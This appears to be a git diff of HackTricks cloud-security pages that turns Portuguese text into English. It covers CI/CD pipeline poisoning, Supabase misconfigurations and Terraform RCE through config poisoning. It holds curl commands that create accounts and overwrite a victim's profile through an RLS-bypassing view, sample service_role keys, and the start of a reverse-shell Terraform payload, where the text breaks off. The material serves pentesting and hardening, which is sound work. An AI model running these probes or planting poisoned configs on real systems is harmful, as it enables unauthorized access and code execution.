- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
|
||||
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
|
||||
|
||||
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
|
||||
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
|
||||
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
|
||||
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
|
||||
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
|
||||
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
|
||||
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
|
||||
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
|
||||
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
|
||||
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
|
||||
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
|
||||
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
|
||||
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,49 +1,50 @@
|
||||
# Segurança do Supabase
|
||||
# Supabase Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
As per their [**landing page**](https://supabase.com/): Supabase é uma alternativa open source ao Firebase. Inicie seu projeto com um banco Postgres, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, e Vector embeddings.
|
||||
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
|
||||
|
||||
### Subdomínio
|
||||
### Subdomain
|
||||
|
||||
Basicamente, quando um projeto é criado, o usuário receberá um subdomínio supabase.co como: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
|
||||
## **Configuração do banco de dados**
|
||||
## **Database configuration**
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
|
||||
Esse **banco de dados** será implantado em alguma região AWS, e para se conectar a ele é possível conectar-se através de: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (isso foi criado em us-west-1).\
|
||||
A senha é uma **senha que o usuário colocou** previamente.
|
||||
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
|
||||
The password is a **password the user put** previously.
|
||||
|
||||
Portanto, como o subdomínio é conhecido e é usado como nome de usuário e as regiões AWS são limitadas, pode ser possível tentar **brute force the password**.
|
||||
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
|
||||
|
||||
Esta seção também contém opções para:
|
||||
This section also contains options to:
|
||||
|
||||
- Redefinir a senha do banco de dados
|
||||
- Configurar connection pooling
|
||||
- Configurar SSL: Rejeitar conexões em plain-text (por padrão elas estão habilitadas)
|
||||
- Configurar tamanho do disco
|
||||
- Aplicar restrições e bans de rede
|
||||
- Reset the database password
|
||||
- Configure connection pooling
|
||||
- Configure SSL: Reject plan-text connections (by default they are enabled)
|
||||
- Configure Disk size
|
||||
- Apply network restrictions and bans
|
||||
|
||||
## Configuração da API
|
||||
## API Configuration
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
|
||||
A URL para acessar a API do supabase no seu projeto será algo como: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### anon api keys
|
||||
|
||||
Também será gerada uma **anon API key** (`role: "anon"`), como: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` que a aplicação precisará usar para contatar a API exposta em nosso exemplo em
|
||||
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
|
||||
|
||||
É possível encontrar a REST API para contatar essa API na [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), mas os endpoints mais interessantes seriam:
|
||||
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Signup (/auth/v1/signup)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/signup HTTP/2
|
||||
Host: id.io.net
|
||||
@@ -68,11 +69,13 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Entrar (/auth/v1/token?grant_type=password)</summary>
|
||||
<summary>Login (/auth/v1/token?grant_type=password)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/token?grant_type=password HTTP/2
|
||||
Host: hypzbtgspjkludjcnjxl.supabase.co
|
||||
@@ -97,49 +100,52 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Então, sempre que você descobrir um cliente usando supabase com o subdomínio que lhe foi concedido (é possível que um subdomínio da empresa tenha um CNAME sobre o subdomínio supabase deles), você pode tentar **criar uma nova conta na plataforma usando a API do supabase**.
|
||||
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
|
||||
|
||||
### secret / service_role api keys
|
||||
|
||||
Uma chave API secreta também será gerada com **`role: "service_role"`**. Essa chave API deve ser mantida em segredo porque será capaz de contornar o **Row Level Security**.
|
||||
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
|
||||
|
||||
A chave API se parece com isto: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
|
||||
### JWT Secret
|
||||
|
||||
Um **Segredo JWT** também será gerado para que a aplicação possa **criar e assinar tokens JWT personalizados**.
|
||||
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
|
||||
|
||||
## Authentication
|
||||
|
||||
### Signups
|
||||
|
||||
> [!TIP]
|
||||
> Por **padrão** o supabase permitirá que **novos usuários criem contas** no seu projeto usando os endpoints de API mencionados anteriormente.
|
||||
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
|
||||
|
||||
No entanto, essas novas contas, por padrão, **precisarão validar seu endereço de email** para conseguir fazer login na conta. É possível habilitar **"Allow anonymous sign-ins"** para permitir que pessoas façam login sem verificar seu email. Isso pode conceder acesso a **dados inesperados** (eles recebem os papéis `public` e `authenticated`).\
|
||||
Isso é uma péssima ideia porque o supabase cobra por usuário ativo, então pessoas poderiam criar usuários e fazer login e o supabase cobraria por esses:
|
||||
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
|
||||
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Auth: Server-side signup enforcement
|
||||
|
||||
Esconder o botão de cadastro no frontend não é suficiente. Se o **Auth server ainda permite signups**, um atacante pode chamar a API diretamente com a `anon` key pública e criar usuários arbitrários.
|
||||
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
|
||||
|
||||
Quick test (from an unauthenticated client):
|
||||
|
||||
Teste rápido (a partir de um cliente não autenticado):
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
```
|
||||
Endurecimento esperado:
|
||||
- Desative cadastros por email/senha no Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), ou defina a configuração equivalente do GoTrue.
|
||||
- Verifique que a API agora retorna 4xx para a chamada anterior e que nenhum novo usuário é criado.
|
||||
- Se você depende de invites ou SSO, garanta que todos os outros providers estejam desativados, a menos que sejam explicitamente necessários.
|
||||
|
||||
Expected hardening:
|
||||
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
|
||||
- Verify the API now returns 4xx to the previous call and no new user is created.
|
||||
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
|
||||
|
||||
## RLS and Views: Write bypass via PostgREST
|
||||
|
||||
@@ -148,114 +154,119 @@ Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgR
|
||||
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
|
||||
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that don’t match the view predicate may still succeed.
|
||||
|
||||
Padrão de risco observado no mundo real:
|
||||
Risk pattern observed in the wild:
|
||||
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
|
||||
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owner’s privileges, effectively bypassing the intended RLS policies on the base table.
|
||||
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
|
||||
|
||||
Illustrative write via view (attempted from a public client):
|
||||
|
||||
```bash
|
||||
curl -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
```
|
||||
|
||||
Hardening checklist for views and RLS:
|
||||
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
|
||||
- If you must expose a view:
|
||||
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
|
||||
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invoker’s privileges are used instead of the owner’s.
|
||||
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
|
||||
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
|
||||
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
|
||||
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invoker’s privileges are used instead of the owner’s.
|
||||
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
|
||||
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
|
||||
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
|
||||
|
||||
Detection tip:
|
||||
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
|
||||
|
||||
### Sondagem CRUD via OpenAPI a partir das roles anon/auth
|
||||
### OpenAPI-driven CRUD probing from anon/auth roles
|
||||
|
||||
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
|
||||
|
||||
Recupere o OpenAPI (works with the public anon key):
|
||||
Fetch the OpenAPI (works with the public anon key):
|
||||
|
||||
```bash
|
||||
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
```
|
||||
Padrão de sondagem (exemplos):
|
||||
- Ler um único registro (esperar 401/403/200 dependendo do RLS):
|
||||
|
||||
Probe pattern (examples):
|
||||
- Read a single row (expect 401/403/200 depending on RLS):
|
||||
```bash
|
||||
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
```
|
||||
- Teste se UPDATE está bloqueado (use um filtro inexistente para evitar alterar dados durante os testes):
|
||||
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
|
||||
```bash
|
||||
curl -i -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
- Teste INSERT está bloqueado:
|
||||
- Test INSERT is blocked:
|
||||
```bash
|
||||
curl -i -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
```
|
||||
- Testar se DELETE está bloqueado:
|
||||
- Test DELETE is blocked:
|
||||
```bash
|
||||
curl -i -X DELETE \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
|
||||
Recommendations:
|
||||
- Automatize as sondagens anteriores para tanto `anon` quanto um usuário minimamente `authenticated` e integre-as no CI para detectar regressões.
|
||||
- Trate every exposed table/view/function como uma superfície de primeira classe. Don’t assume uma view “inherits” the same RLS posture as its base tables.
|
||||
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
|
||||
- Treat every exposed table/view/function as a first-class surface. Don’t assume a view “inherits” the same RLS posture as its base tables.
|
||||
|
||||
### Passwords & sessions
|
||||
|
||||
É possível indicar o tamanho mínimo da senha (por padrão), requisitos (nenhum por padrão) e proibir o uso de leaked passwords.\
|
||||
Recomenda-se **melhorar os requisitos, pois os padrões são fracos**.
|
||||
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
|
||||
It's recommended to **improve the requirements as the default ones are weak**.
|
||||
|
||||
- User Sessions: É possível configurar como as user sessions funcionam (timeouts, 1 session per user...)
|
||||
- Bot and Abuse Protection: É possível habilitar Captcha.
|
||||
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
|
||||
- Bot and Abuse Protection: It's possible to enable Captcha.
|
||||
|
||||
### SMTP Settings
|
||||
|
||||
É possível configurar um SMTP para enviar e-mails.
|
||||
It's possible to set an SMTP to send emails.
|
||||
|
||||
### Advanced Settings
|
||||
|
||||
- Definir tempo de expiração para access tokens (3600 por padrão)
|
||||
- Configurar para detectar e revogar refresh tokens potencialmente comprometidos e timeout
|
||||
- MFA: Indicar quantos fatores MFA podem ser registrados ao mesmo tempo por usuário (10 por padrão)
|
||||
- Max Direct Database Connections: Número máximo de conexões diretas usadas para autenticação (10 por padrão)
|
||||
- Max Request Duration: Tempo máximo permitido para uma requisição de Auth durar (10s por padrão)
|
||||
- Set expire time to access tokens (3600 by default)
|
||||
- Set to detect and revoke potentially compromised refresh tokens and timeout
|
||||
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
|
||||
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
|
||||
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
|
||||
|
||||
## Storage
|
||||
|
||||
> [!TIP]
|
||||
> Supabase permite **armazenar arquivos** e torná-los acessíveis por meio de uma URL (usa S3 buckets).
|
||||
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
|
||||
|
||||
- Defina o limite de tamanho de arquivo para upload (padrão 50MB)
|
||||
- A conexão S3 é fornecida com uma URL como: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- É possível **solicitar S3 access key** que são formadas por um `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) e um `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
- Set the upload file size limit (default is 50MB)
|
||||
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
|
||||
## Edge Functions
|
||||
|
||||
Também é possível **armazenar segredos** no supabase que serão **acessíveis por edge functions** (eles podem ser criados e deletados pela web, mas não é possível acessar seus valores diretamente).
|
||||
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,405 +1,438 @@
|
||||
# Terraform Segurança
|
||||
# Terraform Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform é uma ferramenta de **infrastructure as code** que permite definir tanto **recursos cloud quanto on-prem** em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo do seu ciclo de vida. Terraform pode gerenciar componentes de baixo nível como compute, storage e recursos de networking, bem como componentes de alto nível como entradas DNS e funcionalidades de SaaS.
|
||||
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
|
||||
|
||||
#### Como o Terraform funciona?
|
||||
#### How does Terraform work?
|
||||
|
||||
Terraform cria e gerencia recursos em plataformas cloud e outros serviços através de suas application programming interfaces (APIs). Providers permitem que o Terraform trabalhe com virtualmente qualquer plataforma ou serviço com uma API acessível.
|
||||
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp e a comunidade Terraform já escreveram **mais de 1700 providers** para gerenciar milhares de diferentes tipos de recursos e serviços, e esse número continua crescendo. Você pode encontrar todos os providers publicamente disponíveis no [Terraform Registry](https://registry.terraform.io/), incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, e muitos outros.
|
||||
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
|
||||
|
||||
O fluxo de trabalho core do Terraform consiste em três estágios:
|
||||
The core Terraform workflow consists of three stages:
|
||||
|
||||
- **Write:** Você define recursos, que podem estar em múltiplos cloud providers e serviços. Por exemplo, você pode criar uma configuração para deployar uma aplicação em máquinas virtuais em uma Virtual Private Cloud (VPC) com security groups e um load balancer.
|
||||
- **Plan:** Terraform cria um execution plan descrevendo a infraestrutura que será criada, atualizada ou destruída com base na infraestrutura existente e na sua configuração.
|
||||
- **Apply:** Mediante aprovação, Terraform executa as operações propostas na ordem correta, respeitando quaisquer dependências entre recursos. Por exemplo, se você atualizar as propriedades de uma VPC e alterar o número de máquinas virtuais nessa VPC, Terraform recriará a VPC antes de escalar as máquinas virtuais.
|
||||
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
|
||||
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
|
||||
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
|
||||
Basta instalar terraform no seu computador.
|
||||
Just install terraform in your computer.
|
||||
|
||||
Aqui você tem um [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) e aqui você tem a [best way to download terraform](https://www.terraform.io/downloads).
|
||||
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE in Terraform: config file poisoning
|
||||
|
||||
Terraform **não expõe uma plataforma com página web ou um serviço de rede** que possamos enumerar, portanto, a única forma de comprometer terraform é **ser capaz de adicionar/modificar arquivos de configuração do terraform** ou **ser capaz de modificar o terraform state file** (veja capítulo abaixo).
|
||||
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
|
||||
|
||||
No entanto, terraform é um **componente muito sensível** para comprometer porque ele terá **acesso privilegiado** a diferentes locais para poder funcionar corretamente.
|
||||
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
||||
|
||||
A forma principal de um atacante comprometer o sistema onde o terraform está rodando é **comprometer o repositório que armazena as configurações do terraform**, porque em algum momento elas vão ser **interpretadas**.
|
||||
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
||||
|
||||
Na verdade, existem soluções que **executam terraform plan/apply automaticamente após um PR** ser criado, como o **Atlantis**:
|
||||
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
Se você for capaz de comprometer um arquivo terraform existem diferentes formas de realizar RCE quando alguém executa `terraform plan` ou `terraform apply`.
|
||||
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan é o **comando mais usado** no terraform e desenvolvedores/soluções que usam terraform o chamam o tempo todo, então a **maneira mais fácil de conseguir RCE** é garantir que você envenene um arquivo de configuração terraform que irá executar comandos arbitrários em um `terraform plan`.
|
||||
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
|
||||
|
||||
**Using an external provider**
|
||||
|
||||
Terraform oferece o [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que fornece uma forma de interface entre Terraform e programas externos. Você pode usar a data source `external` para executar código arbitrário durante um `plan`.
|
||||
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
||||
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
|
||||
Injectar em um arquivo de configuração terraform algo como o seguinte irá executar um rev shell quando for executado `terraform plan`:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
